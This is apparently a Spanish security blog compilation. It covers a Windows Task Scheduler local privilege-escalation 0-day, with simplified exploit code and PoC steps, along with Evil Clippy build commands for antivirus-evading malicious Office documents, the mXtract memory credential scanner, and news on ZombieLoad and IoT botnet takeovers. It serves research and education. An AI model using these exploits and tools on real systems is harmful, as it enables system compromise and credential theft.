Llegan nuevos 0-days de Windows... ¡SandboxEscaper ha vuelto!

Así es ella, repentina como el primer rayo de una tormenta, sin campañas ni anuncios rimbombantes, sólo necesita un repositorio en Github para desatar de nuevo toda su ira. Hablamos de SandboxEscaper, la enigmática investigadora que el año pasado sorprendió con la publicación de varios 0-days de escalado local de privilegios (en adelante LPE) y que hace unas horas publicó el código del primero de una serie de cinco exploits que irán desvelándose en breve: cuatro para LPEs y uno para escapar del Sandbox de IE.

Evil is coming!:
https://github.com/SandboxEscaper/polarbearrepo/

El primer 0-day (Bearpe) publicado y el que vamos a ver en este post es una vulnerabilidad que se aprovecha de las funciones de asignación de permisos a la hora de importar las tareas programadas (.job) antiguas, y permite a un usuario regular ejecutar cualquier cosa como SYSTEM. 

Descripción

Los componentes de front-end de Task Scheduler, como schtasks.exe, son interfaces que permiten a los usuarios ver, crear y modificar tareas programadas. La parte de back-end de Task Scheduler es un servicio de Windows que se ejecuta con privilegios de SYSTEM. Una de las librerías utilizadas por el servicio del Programador de tareas, schedsvc.dll, tiene una función llamada tsched::SetJobFileSecurityByName(), que establece los permisos de los archivos jobs. Los permisos de los archivos jobs en el directorio %Windir%\system32\tasks se modifican para otorgar al usuario llamante permisos completos al archivo de jobs que han creado.

En el punto donde se llama a la función SetSecurityInfo(), el servicio del Programador de tareas tiene el token de seguridad NT Authority\SYSTEM. Esto significa que el servicio del Programador de tareas puede otorgar permisos de acceso de usuario total a los archivos que solo pueden ser controlados por SYSTEM u otras cuentas privilegiadas.

El código de de la PoC de SandboxEscaper usa los binarios schtasks.exe y schedsvc.dll de Windows XP para aprovechar estos niveles de privilegios al configurar los permisos de archivos. Las versiones de Windows anteriores a Vista usaban archivos jobs en el directorio %Windir%\tasks. Las versiones heredadas de schtasks.exe harán que estos trabajos se migren al directorio %Windir%\system32\tasks cuando esas versiones de los programas se ejecuten en plataformas modernas de Windows. Junto con el token de seguridad de SYSTEM usado por el servicio del Programador de tareas, se puede aprovechar este comportamiento de migración junto con los hard links para otorgar permisos completos de archivos protegidos a cualquier usuario en un sistema Windows.

Resumiendo, el código del exploit simplificado realiza por tanto lo siguiente:

CopyFile(L"bear.job", L"c:\\windows\\tasks\\bear.job",FALSE);
    system(command.c_str());
    DeleteFile(L"c:\\windows\\system32\\tasks\\Bear");
    CreateNativeHardlink(L"c:\\windows\\system32\\tasks\\bear", L"C:\\Windows\\system32\\drivers\\pci.sys");
    system(command.c_str());


Y paso a paso:

1.- Primero se copia la tarea (el fichero bear.job) en la carpeta de tareas antigua.
2.- Luego se ejecuta "schtasks /change /TN "bear" /RU username /RP password", esto dará como resultado una llamada al siguiente RPC "_SchRpcRegisterTask", que está expuesto por el servicio del programador de tareas.
3.- Después de eso se borra el archivo que se creó y se pone un hard link y se vuelve a ejecutar el mismo comando. De esa manera se llamará a  SetSecurityInfo en el enlace físico.

PoC

1. copiar polarbear.exe, bear.job, schtasks.exe, schtasks.dll de la carpeta "poc files" a una máquina virtual de prueba
2. ejecutar polarbear.exe pasando un nombre de usuario y contraseña de una cuenta local que no sea de administración. Ej. "polarbear.exe essbee polarbear"


Impacto

Se ha confirmado que el código publicado funciona en Windows 10 de 32 y 64 bits, así como en Windows Server 2016 y Windows Server 2019.

Obviamente para explotar la vulnerabilidad se necesita usuario y contraseña pero, una vez obtenido (guest por ej.) y al aprovechar el servicio del Programador de tareas de Windows, un atacante autenticado puede obtener acceso total a los archivos protegidos. Esto puede permitir un compromiso completo del sistema desde una cuenta de usuario de Windows limitada.

Por el momento no se han lanzado parches... y hace unas horas ya se han publicado dos nuevos exploits y quedan otros dos...

NAXSI: un WAF para NGINX

NAXSI es un WAF de código abierto, de alto rendimiento y de bajo mantenimiento para NGINX. El acrónimo significa Nginx Anti XSS y SQL Injection.

Técnicamente, es un módulo de Nginx disponible como paquete para muchas plataformas tipo UNIX. De manera predeterminada, lee un pequeño subconjunto de reglas sencillas (y legibles) que contienen el 99% de los patrones conocidos involucrados en las vulnerabilidades web. Por ejemplo, <, | o drop se supone que no son parte de una URI.

Siendo muy simples, esos patrones podrían coincidir con consultas legítimas, es deber del administrador de Naxsi agregar reglas específicas que incluyan en lista blanca los comportamientos legítimos. El administrador puede agregar listas blancas manualmente analizando el registro de errores de Nginx, o (recomendado) iniciar el proyecto con una fase de aprendizaje automático intensivo que generará automáticamente reglas de listas blancas con respecto al comportamiento de un sitio web.

En resumen, Naxsi se comporta como un firewall que dropeará todo por defecto, la única tarea es agregar las reglas de ACEPTAR requeridas para que el sitio web de destino funcione correctamente.


¿Por qué es diferente?

Contrariamente a la mayoría de los firewalls de aplicaciones web, Naxsi no se basa en una base de firmas como un antivirus, y por lo tanto no puede ser evitado por un patrón de ataque "desconocido".

¿En qué se ejecuta?

Naxsi debería ser compatible con cualquier versión Nginx. Depende de libpcre para su compatibilidad con expresiones regulares, y funciona muy bien en NetBSD, FreeBSD, OpenBSD, Debian, Ubuntu y CentOS.

Más info:

- Documentación
- Algunas reglas para el software principal
- Nxapi/nxtool para generar reglas.

Proyecto: https://github.com/nbs-system/naxsi

The hacker's hardware toolkit: un catálogo con más de 100 gadgets para hackers

El gran Yago Hansen (@yadox) ha decidido compartir "The hacker's hardware toolkit" que fue presentado en #HITBAMS2019 y #HITBHaxpo. Se trata de un catálogo con una gran colección de dispositivos de hardware para hackers, pentesters y red teamers.


Incluye más de 120 gadgets clasificados en ocho categorías diferentes, para que sea más fácil buscarlos:
  1. Mini Computers: La mejor selección de mini PCs, mini placas base, etc. Las mejores herramientas para manejar todos los demás periféricos de hardware de tus proyectos. 
  2. RF: Las mejores herramientas para hackear, analizar, modificar o responder a cualquier señal de radiofrecuencia. Herramientas para hackear controladores inalámbricos, GPS, teléfonos celulares, señales satelitales, etc. 
  3. Wi-Fi: El kit de herramientas para un experto en Wi-Fi como Yago. Estas herramientas permiten el sniffing en modo monitor, enumeración, inyección, etc. Algunas herramientas como deautenticadores y amplificadores solo deben usarse en entornos de laboratorio. 
  4. RFID / NFC: Bonita colección de herramientas profesionales y para principiantes para investigar sobre las tecnologías RFID y NFC basadas en tarjetas contactless LF (baja frecuencia) y HF (alta frecuencia), etiquetas y tarjetas. Herramientas de hacking para controles de acceso, garajes, tiendas, etc. 
  5. HID / Keyloggers: HID (hardware input devices) como los ratones y los teclados USB están abiertos a un ataque de inyección de pulsaciones de teclas (keystrokes). Muchos de estos dispositivos como rubberducky, badusb, badusb ninja, etc. están aumentando sus capacidades y efectividad. Los keyloggers de hardware siguen siendo una de las mejores opciones para la captura de credenciales. 
  6. Network: Los routers pequeños, los taps y otros dispositivos de red similares basados en Linux pueden ser el compañero perfecto para un pentesting interno. Aquí encontraremos muchos mini routers basados en OpenWRT / LEDE que se pueden personalizar para pentesting de red. 
  7. BUS: Hay muchas tecnologías y protocolos de bus diferentes, y un hacker de hardware debe poseer muchas herramientas para descubrir y "hablar" con dichos buses. Algunas de las categorías incluidas aquí son: hacking de automóviles, hacking de placas base y PCB, industrial, etc. 
  8. Accesorios: No son suficientes solo las herramientas anteriores para crear nuestro dispositivo de hacking propio. Si vamos a construir un sistema funcional, también necesitaremos muchos accesorios como baterías, cargadores, gps, sensores, DC-DC, equipos de laboratorio, etc.
El catálogo puede descargarse en formato PDF desde aquí.

Nota del autor: Aclarar que NO es un catálogo comercial, incluso si se ve así. Yago no tiene ningún interés personal en vender ninguna de las herramientas mostradas, sólo compartir muchas de las herramientas que ha usado para diferentes propósitos de hacking. Cualquier herramienta que no esté disponible para ser comprada online, será excluida del catálogo. Todas las herramientas muestran un precio aproximado y una tienda online donde se puede comprar. Todos los códigos OCR incluyen el enlace a una tienda online que se envía a Europa y, por supuesto, no son maliciosos.

Proyecto y términos para contribuciones: https://github.com/yadox666/The-Hackers-Hardware-Toolkit

Zombieload: nuevos bugs que permiten extraer información de procesadores Intel

Varios investigadores de distintas universidades han encontrado una nueva clase de vulnerabilidades en los procesadores de Intel que pueden usarse para robar información confidencial directamente del procesador.

Los errores recuerdan a otros de canal lateral como Meltdown, Spectre o Foreshadow, que explotaron una vulnerabilidad en la ejecución especulativa, una parte importante de cómo funcionan los procesadores modernos. La ejecución especulativa es una técnica de optimización que Intel agregó a sus CPU para mejorar la velocidad de procesamiento de datos y el rendimiento. Digamos que esta técnica ayuda a los procesadores a predecir en cierta medida lo que una aplicación o sistema operativo podría necesitar en un futuro próximo, lo que hace que la aplicación se ejecute más rápido y más eficiente. El procesador ejecutará sus predicciones si son necesarias, o las descartará si no lo son.

El ataque ha sido bautizado como "ZombieLoad" porque toma su nombre de "carga zombie", una cantidad de datos que el procesador no puede entender o procesar adecuadamente, lo que obliga al procesador a pedir ayuda al microcódigo del procesador para evitar un bloqueo. Las aplicaciones generalmente solo pueden ver sus propios datos, pero este error permite que los datos se filtren a través de esos límites. Los investigadores dijeron que ZombieLoad filtrará cualquier dato actualmente cargado por el núcleo del procesador. Intel dijo que los parches al microcódigo ayudarán a borrar los buffers del procesador, evitando que se lean los datos.

En la práctica, los investigadores demostraron en un video que los fallos se podían explotar para ver qué sitios web visitaba una persona en tiempo real, pero se podían reutilizar fácilmente para capturar contraseñas o tokens de acceso que se utilizan para iniciar sesión online de la víctima:


Compila y recorre las instrucciones en ensamblador de un programa con penguinTrace

penguinTrace es una herramienta que nos permitirá escribir código y ver cómo se ejecutan las instrucciones que lo componen. El objetivo es ayudar a las personas a comprender cómo se ejecutan los programas, o mejorar la comprensión del ensamblador.


Al escribir programas en C, es posible hacer que el compilador genere el ensamblado generado o desensamblar un binario para ver las instrucciones. Sin embargo, ver las instrucciones en forma estática no muestra el flujo a través del programa. Usando un depurador, se puede recorrer el programa, pero los depuradores proporcionan una gran cantidad de funciones y, por lo tanto, puede ser complicado mostrar las instrucciones que se están ejecutando.

La intención de penguinTrace es proporcionar una interfaz simple para compilar y recorrer un programa. También está diseñado para admitir diferentes arquitecturas, por ejemplo, ejecutarse en una Raspberry Pi (AArch64), así como en x86_64. Por esta razón, penguinTrace se ejecuta como un servidor web al que se puede conectar desde un navegador. Esto es más liviano que ejecutar un editor/depurador gráfico y significa que puede ejecutarse sin necesidad de un monitor. Tenéis más detalle aquí.

penguinTrace permite ejecutar código arbitrariamente como parte de su diseño. Por defecto, solo escuchará las conexiones desde la máquina local. Solo debe configurarse para escuchar las conexiones remotas en una red de confianza y no estar expuesto a la interfaz. Esto puede mitigarse ejecutando penguinTrace en un contenedor Docker:

docker build -t penguintrace github.com/penguintrace/penguintrace


Una vez que se construye penguinTrace, al estar integrado en un contenedor se puede ejecutar directamente así:

docker run -it -p 127.0.0.1:8080:8080 --tmpfs /tmp:exec --cap-add=SYS_PTRACE --cap-add=SYS_ADMIN --rm --security-opt apparmor=unconfined penguintrace penguintrace

FSP: herramienta que simula procesos de sandboxing para que no infecten nuestro sistema

Normalmente los desarrolladores de malware programan sus artefactos para que no se disparen si detectan que están dentro de una sandbox o una VM, o incluso la presencia de procesos de análisis. ¿Y si aprovecháramos ésto para proteger nuestro sistema? La idea está clara, simular que nuestra máquina es un sistema de análisis de malware para no infectarnos.


Fake Sandbox Processes (FSP) es un pequeño script en Powershell que simulará procesos falsos de análisis, sandbox y software de VM que algunos malware intentarán evitar. Podemos descargar el script original hecho por @x0rz aquí o una versión posterior optimizada de Phoenix1747.

Características del script

- Algunos tipos de spyware (normalmente avanzados) pueden dejar de ejecutarse correctamente siempre que se ejecuten los procesos creados.
- Requisitos: Powershell (preinstalado en Win 7 y posteriores), eso es todo.
- No hay carga del sistema.
- Fácil de usar.

Características del instalador

- Instala automáticamente el script en el directorio de inicio automático, de modo que no tengamos que ejecutarlo cada vez que volvamos a iniciar sesión.
- Requisitos: Sólo PowerShell.
- Viene también con un desinstalador para purgar todos los archivos.
- Todo incluido en un pequeño paquete offline.
- Actualizador opcional incluido.

Uso

Clic derecho en el archivo y elegir "Ejecutar con PowerShell"
~O~
Abrir la consola y pegar este comando (no olvidar poner la ruta correcta):

Powershell -executionpolicy remotesigned -F 'Your\Path\fsp.ps1'

Después de presionar enter, podremos elegir iniciar o detener todos los procesos.

Autoinicio

Para iniciar automáticamente el script, el autor hizo además un instalador: fsp-installer.bat, basta con ejecutarlo:


Proyecto: https://github.com/Phoenix1747/fake-sandbox

Comprometen más de 29 botnets de IoT con credenciales débiles

Un hacker con nick 'Subby' se hizo con más de 29 botnets de IoT en las últimas semanas haciendo fuerza bruta sobre los paneles de backend de sus servidores C2, debido a que éstos usaban credenciales débiles.

"Ahora, esta teoría ha sido llevada a la práctica por un threat actor llamado Subby, que ha hecho fuerza bruta al menos contra 29 IoT C2s y los ha comprometido utilizando credenciales extremadamente triviales", escribió Ankit Anubhav, investigador de seguridad de NewSky Security. "Según lo compartido por el threat actor, se puede ver que las credenciales utilizadas son bastante débiles".

Subby le dijo a Anubhav que algunos de los C2 asociados con las redes de bots de IoT estaban usando credenciales muy comunes, incluyendo "root: root", "admin: admin" y "oof: oof".


En una entrevista con Anybhav, Subby explicó que la mayoría de las redes de bots de IoT que él hackeaba fueron creadas por script kiddies que habían seguido tutoriales online.

"Es obvio por qué esto está sucediendo. Un gran porcentaje de operadores de botnets simplemente siguen tutoriales que se han extendido en la comunidad o están disponibles en YouTube para configurar su botnet. Al seguir estos tutoriales, no cambian las credenciales predeterminadas. Y si cambian las credenciales, la contraseña que suministran es generalmente débil y, por lo tanto, vulnerable a fuerza bruta", dijo Sabby a Anybhav.

Subby explicó que obtuvo el control de un total de más de 40.000 dispositivos en solo una semana, un "poder de fuego" desconcertante que podría ser objeto de abuso por parte de varios threat actors.

"En la primera semana de fuerza bruta, superé los 40.000 dispositivos. Posiblemente fue un número bastante inflado debido a las duplicidades. Está bien documentado que a los operadores de redes de bots les gusta aumentar su contador de bots. Estimo que el número está más cerca de 25.000 dispositivos únicos. Pude obtener un gráfico de tráfico de red fiable producido del tráfico generado de todas las redes de bots combinadas y fue un poco menos de 300 gbit/s", continúa Subby.

Sabby explicó que inicialmente hackeó las botnets de IoT para ver la eficiencia de usar fuerza bruta contra paneles de administración de C2 para hacerse con una red de bots, en lugar de usar exploits.

En definitiva, Sabby demostró que es muy fácil para los actores construir botnets de IoT que podrían usarse para muchas actividades maliciosas.

Fuente: A hacker has taken over at least 29 IoT botnets

QR-game: "hackea" una base de datos mediante códigos QR

Lo prometido es deuda, lo tenía pendiente publicar y aquí os traigo el detalle y código del juego de códigos QR que llevamos a Mundo Hacker Day 2019.

Como os dije en la crónica del congreso, la idea fue de un compi Amine Taouirsa al que le comenté que quería implementar una versión propia y llevarla también al evento. El juego se inicia generando un ticket en un impresora térmica con un código QR al registrar a un usuario en una base de datos SQLite. Luego, el usuario tiene que leerlo con su móvil y ser capaz de generar otros códigos que deben ser leídos por la cámara de una Raspberry Pi para conseguir primero acceso a la base de datos y segundo la contraseña del usuario 'admin'.


Los componentes que forman parte del "QR-Game" son:
- Arduino Uno: con un LCD 16x2, potenciómetro, switch, altavoz y resistencias.
- Raspberry Pi 3: con cámara JZK.
- Impresora térmica USB de 58mm
- Soportes y portátil.

Mi versión se basa en el proyecto "Crystal Ball' del libro de proyectos del Starter Kit de Arduino y su esquema mostrado abajo, añadiendo además un altavoz para reproducir un sonido o melodía al leer un código con la cámara, resetear o completar el juego.

Iniciación al reversing de firmware: extracción del sistema de archivos

No son poco frecuentes las noticias acerca de la aparición de backdoors presentes en miles y miles de dispositivos. Su descubrimiento, muchas veces explotado por atacantes malintencionados, suele ser el resultado de un análisis exhaustivo del firmware correspondiente. Si nunca os habéis enfrentado a este tipo de ejercicio, en el blog de 15/85 Security daban una breve introducción para extraer el sistema de ficheros de un binario, una buena piedra de toque:

1.- Descarga de firmware de prueba, en este caso la versión 1.14.04 de la cámara D-Link modelo DCS-932L:

$ wget ftp://ftp2.dlink.com/PRODUCTS/DCS-932L/REVA/DCS-932L_REVA_FIRMWARE_1.14.04.ZIP

$ unzip DCS-932L_REVA_FIRMWARE_1.14.04.ZIP
Archive:  DCS-932L_REVA_FIRMWARE_1.14.04.ZIP
  inflating: DCS-932L_REVA_RELEASENOTES_1.14.04_EN.PDF 
  inflating: dcs932l_v1.14.04.bin   

2.- Para empezar echamos un vistazo a las strings con 10 o más caracteres imprimibles:

$ strings -10 dcs932l_v1.14.04.bin | more
NetInitTcp
NetTcpSend
NetReceive
send_syn_ack
send_reset
ArpTimeoutCheck
HttpHandler
mpfd_decode
do_httpsvr
rf      - read/write rf register
rf r <reg>        - read rf register
rf w <reg> <data> - write rf register (reg: decimal, data: hex)
Signature: DCS-930            932L  Release 1.11 (2011-05-31)
*** failed ***
relocate_code Pointer at: %08lx
Please choose the operation: 
   %d: Load system code to SDRAM via TFTP. 
   %d: Load system code then write to Flash via TFTP. 
   %d: Boot system code via Flash (default).
   %d: Entr boot command line interface.
   %d: Load Boot Loader code then write to Flash via Serial. 
   %d: Load Boot Loader code then write to Flash via TFTP. 
 Please Input new ones /or Ctrl-C to discard
    Input device IP 
    Input server IP 
0x80200000
0x88001000
0x80100000
    Input Uboot filename 
    Input Linux FileSystem filename 
0x80800000
    Input Linux Kernel filename 
Entering HTTP server.
Entering program & boot linux.
Erase linux block (0x%x ~ 0x%x)
Erase linux block (0x%x ~ 0x%x
### ERROR ### Please RESET the board ###
Warning: Abort rw rf register: too busy
Warning: still busy
Error: rw register failed
rf reg <%d> = 0x%x
*** Error: D+/D- is 1/1, config usb failed.
config usb
Watchdog Reset Occurred
******************************
Software System Reset Occurred
Software CPU Reset Occurred
============================================ 
Ralink UBoot Version: %s
-------------------------------------------- 
(Port5<->None)
DRAM component: %d Mbits %s
DRAM bus: %d bit
...
...

3.- Ahora usamos binwalk, me atravería a decir la herramienta de facto cuando nos enfrentamos a análisis de firmware. Al ejecutarlo directamente nos devolverá varios "hits" del binario:

$ binwalk dcs932l_v1.14.04.bin
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
106352        0x19F70         U-Boot version string, "U-Boot 1.1.3"
106816        0x1A140         CRC32 polynomial table, little endian
124544        0x1E680         HTML document header
124890        0x1E7DA         HTML document footer
124900        0x1E7E4         HTML document header
125092        0x1E8A4         HTML document footer
125260        0x1E94C         HTML document header
125953        0x1EC01         HTML document footer
327680        0x50000         uImage header, header size: 64 bytes, header CRC: 0x88345E96, created: 2016-09-09 13:52:27, image size: 3804958 bytes, Data Address: 0x80000000, Entry Point: 0x803B8000, data CRC: 0x531E94DE, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux Kernel Image"
327744        0x50040         LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 6558763 bytes

Mirando la primera línea, vemos que binwalk encontró un string U-Boot en 106352, ya sabéis, el cargador de arranque. Y por supuesto, en 327680, podemos ver un encabezado de uImage que nos indica que encontraremos la imagen del kernel del SO en un archivo LZMA que comienza en 327744.

Crónica de #MundoHackerDay 2019

El miércoles 24 de abril estuvimos en Mundo Hacker Day, la sexta edición del evento que organizan desde Mundo Hacker y que este año tuvo lugar en Kinépolis en Madrid. Tuvimos la suerte de ser invitados junto con otras comunidades y conferencias del panorama nacional y por ende la oportunidad de reencontrarnos y conocer a colegas que comparten con nosotros una misma pasión: el hacking. Allí estuvieron @workinghackers @hackandbeers @HackOnURJC @Honey_SEC @secadm1n @CONPilarZgz @tomatinacon @HackSolidario @qurtubacon @EuskalHack @FAQinCongress @mariapitadefcon:


Pocas veces podemos encontrarnos tantos en un mismo espacio así que la experiencia fue genial. Además, también preparamos varios "juegos" para los que os pudisteis acercar a conocernos o charlar con todos nosotros y, como muchos me pedistéis más detalle o simplemente para los que no tuvisteis la oportunidad de asistir, os dejo un resumen de cada uno de ellos.

Reto 30: TweetDB

Nuestro colega, el bot de Hackplayers que se encarga de las RRSS de la comunidad, ha evolucionado a tal nivel que es capaz de desarrollar sus propias aplicaciones, esta vez ha realizado una especie de almacén para guardar las estadisticas de los tweets más relevantes de la cuenta de @Hackplayers. Según comenta, esta aplicación ha sido programada correctamente y no entraña ningún peligro para el servidor que la ejecuta. ¿Eres capaz de demostrar lo contrario?


Aplicación: https://drive.google.com/file/d/1DRZ-HeedHx_ZYZGkG5LjqSKV09F0GmGH
Servidor: challenges.hackplayers.com 
Puerto: 1337/TCP
(Formato de la flag: HPYS{string})

Bonus: Mañana 24 de abril estaremos en Mundo Hacker Day, el primero que nos facilite la flag allí presencialmente será obsequiado con una estupenda camiseta de nuestra conferencia h-c0n (edición 2019)

PartyLoud: un sencillo script en bash para generar "ruido" en la red

PartyLoud es una herramienta para crear tráfico de Internet falso con el fin de impedir o mitigar el seguimiento en redes locales. Está basada en noisy.py y su objetivo es hacer mucho ruido en la red (en forma de peticiones http) para que sea más difícil rastrear tu navegación real.

Cuando ejecutamos el script, se inician varios hilos y cada uno realiza una solicitud HTTP diferente con Curl. Luego se analiza la salida para elegir la siguiente url, simulando una navegación. A menos que el usuario detenga el script (ya sea presionando Intro o mediante CTRL-C), permanecerá activo.


Podemos editar el fichero partyloud.conf para actualizar la lista de URLs utilizadas para iniciar la "falsa" navegación pero, eso sí, cada vez que añadamos nuevas direcciones más subprocesos se iniciaran, pudiendo llegar a convertirse en una "fork bomb". En futuras versiones se añadirá la posibilidad de limitar el número máximo de hilos para evitar este problema. La herramienta también va cambiando el "User Agent" de las peticiones para prevenir el fingerprinting.

En definitiva un script sencillo pero útil en algunos escenarios...

Usage: ./partyloud.sh [options...]

-l --url-list     read URL list from specified FILE
-b --blocklist    read blocklist from specified FILE
-p --http-proxy   set a HTTP proxy
-s --https-proxy  set a HTTPS proxy
-h --help         dispaly this help

Repo: https://github.com/realtho/PartyLoud

Evil Clippy: herramienta para crear documentos de MS Office maliciosos

Evil Clippy de Stan Hegt (@StanHacked) es un asistente multiplataforma para crear documentos maliciosos de Microsoft Office. Se presentó en la BlackHat Asia (28 de marzo de 2019) y puede ocultar macros VBA, pisar (en adelante stomp) códigoVBA (a través de P-Code) y confundir a las herramientas de análisis de macros.

Actualmente esta herramienta es capaz de obtener una macro predeterminada de Cobalt Strike que puede bypassear todos los principales productos antivirus y la mayoría de las herramientas de análisis de maldoc (mediante el uso de stomping VBA en combinación con nombres de módulos aleatorios).

Evil Clippy usa la librería OpenMCDF para manipular los archivos (Compound File Binary Format) de MS Office y abusa de las especificaciones y características de MS-OVBA. Reutiliza el código de Kavod.VBA.Compression para implementar el algoritmo de compresión que se usa en las secuencias de dir y módulos (consultar MS-OVBA para obtener las especificaciones relevantes).

Evil Clippy funciona perfectamente bien con el compilador Mono C# y ha sido probado en Linux, OSX y Windows.

Repositorio: https://github.com/outflanknl/EvilClippy

Instalación

Se puede encontrar un binario compilado multiplataforma en "releases".

En OSX y Linux hay que tener instalado Mono y ejecutar el siguiente comando desde la línea de comandos:

mcs /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe * .cs

Después para ejecutar Evil Clippy desde la línea de comandos:

mono EvilClippy.exe -h

En Windows hay que tener instalado Visual Studio. Luego, ejecutar el siguiente comando desde una ventana de comandos de Visual Studio developer:

csc /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe * .cs

Luego ejecutar Evil Clippy desde la línea de comandos:

EvilClippy.exe -h

RedHunt Linux Distribution (VM)

RedHunt Linux Distribution (VM) es máquina virtual para la emulación de adversarios y la caza de amenazas. Pretende ser una "ventanilla única" para todas las necesidades de emulación de amenazas y búsqueda de amenazas al integrar el arsenal del atacante y el conjunto de herramientas del defensor para identificar activamente las amenazas en el entorno.

Máquina base:

  • Lubuntu-18.04 x64

Herramientas:

Emulación de ataques:

Logging y monitorización:

Open Source Intelligence (OSINT):

Threat Intelligence:

Enlace de descarga de la VM:

La pastilla Roja/Azul del Cloud (by Lorien & Kneda #hc0n2019)

Al contratar los servicios cloud para el almacenamiento de nuestros archivos se nos permite disponer de estos en cualquier parte del mundo pero, ¿qué pasa si se vulnera la seguridad del cloud?. En la charla "La pastilla Roja/Azul del Cloud" Kneda demostró cómo se puede llegar a vulnerar la seguridad del cloud, llegando incluso a conseguir información personal, y Lórien intentó a través de la forénsica desenmascarar al autor. ¿Quién ganó realmente?

Tenemos un vídeo en el que se muestra la "batalla" pero sus autores nos han pedido que no lo subamos todavía porque volverán a dar la charla próximamente. Así que si quieres ser testigo presencial de nuestro particular Yin Yang aka rojo vs azul en ciberseguridad permanece atento!

Presentación:


Plugin para exportar proyectos de IDA Pro a Ghidra

Ghidra ha llegado dispuesto a "comerle la tostada" a IDA Pro. Sirva de claro ejemplo que hasta incluye un plugin para usarse directamente con el famoso desensamblador/debugger de Hex-Rays y que permite exportar bases de datos de IDA Pro como archivos XML para que luego puedan importarse a Ghidra.
Para agregar el plugin de este exportador a XML a la instalación de IDA simplemente hay que mover o copiar los directorios a <directorio de instalación de ghidra>/Extensions/IDAPro. El complemento está disponible para IDA Pro versiones 6 y 7.

Sus contenidos son:

- xml_exporter.py: es el plugin para exportar la base de datos IDA como archivo XML. Se debe colocar en la carpeta de plugins de IDA.
- xml_loader.py: es el cargador de IDA para construir una nueva base de datos utilizando un archivo XML. Carga el archivo de bytes y construye la base de datos de IDA utilizando el contenido del archivo XML. Debe colocarse en la carpeta de loaders de IDA.
- xml_importer.py: es un plugin para agregar datos de un archivo XML a una base de datos existente. NO cargará ningún dato binario del archivo de bytes. Agregará símbolos, comentarios, códigos, datos, funciones, etc. para las direcciones que existen actualmente en la base de datos. Se debe colocar en la carpeta de plugins de IDA.
- idaxml.py: es un módulo y una importación requerida para xml_exporter, xml_importer y xml_loader. Debe colocarse en la carpeta python de IDA.

Después de colocar los archivos indicados, veremos en IDA dos nuevos iconos en el menú de plugins:

mXtract: escanea volcados de memoria... para hacer el mal

En la mayoría de los entornos de Linux, los usuarios pueden acceder a la memoria de muchos procesos, lo que puede permitir a un atacante recopilar credenciales, claves privadas o cualquier cosa que se suponga que se ve, pero que está siendo procesada por un programa en texto no cifrado.

mXtract es una herramienta escrita en c++ y de código abierto que realiza y analiza volcados de memoria y se desarrolló precisamente como una herramienta ofensiva con el propósito principal es escanear la memoria en busca de claves privadas, IPs y contraseñas usando expresiones regulares.

Es una herramienta que puede resultar bastante útil y sus resultados serán tan buenos como las expresiones regulares que añadas en las búsquedas.    

Características

- Posibilidad de usar expresiones regulares
- Comprueba si el rango de memoria se puede escribir con los permisos actuales
- Salida en XML y HTML junto con la salida predeterminada (nombre del proceso: resultado)
- Capacidad para escanear todos los procesos o un PID específico
- Posibilidad de elegir secciones de memoria para escanear
- Capacidad para mostrar información detallada del proceso
- Capacidad para escanear archivos del entorno de proceso
- Los volcados de memoria eliminan automáticamente los caracteres Unicode, lo que permite el procesamiento con otras herramientas o manualmente.
Instalación

Descarga: git clone https://github.com/rek7/mXtract
Compilar: cd mXtract && sh compile.sh

Esto creará el directorio bin/ y compilará el binario como mXtract.

 ./bin/mxtract -h

Malware cracking (by Markel Picado #hc0n2019)

La charla que "rompió el hielo" en la segunda edición de h-c0n y personalmente una de las qué más me impactó por su temática fue "Malware cracking" de Markel. En ella mostró como después de un análisis profundo del código de las últimas muestras de Lokibot (uno de los infostealers más populares) se dió cuenta que un actor tercero las estaba vendiendo más baratas que la versión original: el secuestro de malware.

En la presentación mostró como se realizó el parche, cómo ese parche creó un error en todas las muestras de LokiBot utilizadas en las campañas más recientes y cómo esas muestras de LokiBot estaban relacionadas con la versión original de LokiBot.

Además, Markel nos enseñó dos herramientas que escribió: una para desinfectar un sistema comprometido con LokiBot y la otra es un script de Python capaz de generar nuevas muestras de LokiBot con paneles de control personalizados. El script de Python puede parchear muestras de la versión modificada de LokiBot y corregir el error generado por la modificación realizada por el tercer actor.

Presentación:


Highbox - Administra tus contraseñas sin necesidad de guardarlas

Hoy en día, la continua globalización marca la pauta del día a día, y el ámbito de la seguridad no ha sido la excepción, registrarse en un sitio, ya sea para obtener un servicio o acceso a cierta información, es algo bastante común, y a su vez el avance tecnológico exige contraseñas cada vez más complejas, la clásica contraseña de 8 caracteres es a día de hoy obsoleta, otro problema constante es administrar las diferentes contraseñas para cada sitio. Es aquí donde un administrador de contraseñas se vuelve fundamental.

Highbox es un administrador de contraseñas gratuito, que no almacena contraseñas, en su lugar son generadas automáticamente mediante un algoritmo matemático, esto lo vuelve bastante conveniente ya que solo se guarda información referente al inicio de sesión como: sitio web, email, teléfono, entre otros, además de utilizar la sincronización en la nube mediante una cuenta de Google para realizar respaldos, por lo que es fácil recuperar la información en todo momento.

¿Cómo funciona?
•    PUSH(AGREGAR UNA BOX)
•    POP(SACAR UNA BOX)


Highbox maneja el concepto de Box para referirse a las cuentas del usuario, así que cuando se agrega una Box lo único que se necesita hacer para configurarla es crear es un “Totem”, un tótem es una palabra o frase que es elegida por el usuario para representar su contraseña, ésta nunca será guardada en memoria y el largo o su contenido depende de la elección del usuario. Acompañando a su tótem, se introduce una “Hint” o pista, ésta si es almacenada y es básicamente otro juego de palabras escogido por el usuario que es utilizado como referencia para no olvidar el Tótem en futuras consultas. La Hint le dice al usuario cuál podría ser el Tótem, pero claro esto no debe ser explícito.

iBombShell: Pentesting EveryWhere & EverySystem (by Pablo González y Álvaro Nuñez #hc0n2019)

Cuando recibimos la propuesta de Pablo González y Álvaro Nuñez para hablar de iBombShell en la #hc0n2019 lo teníamos claro. Primero porque Pablo es super majo y uno de los grandes, conocido desde tiempos de Flu-Project, y segundo porque traían a nuestro congreso una herramienta que fue incluida en el arsenal del la BlackHat Europe de 2018.

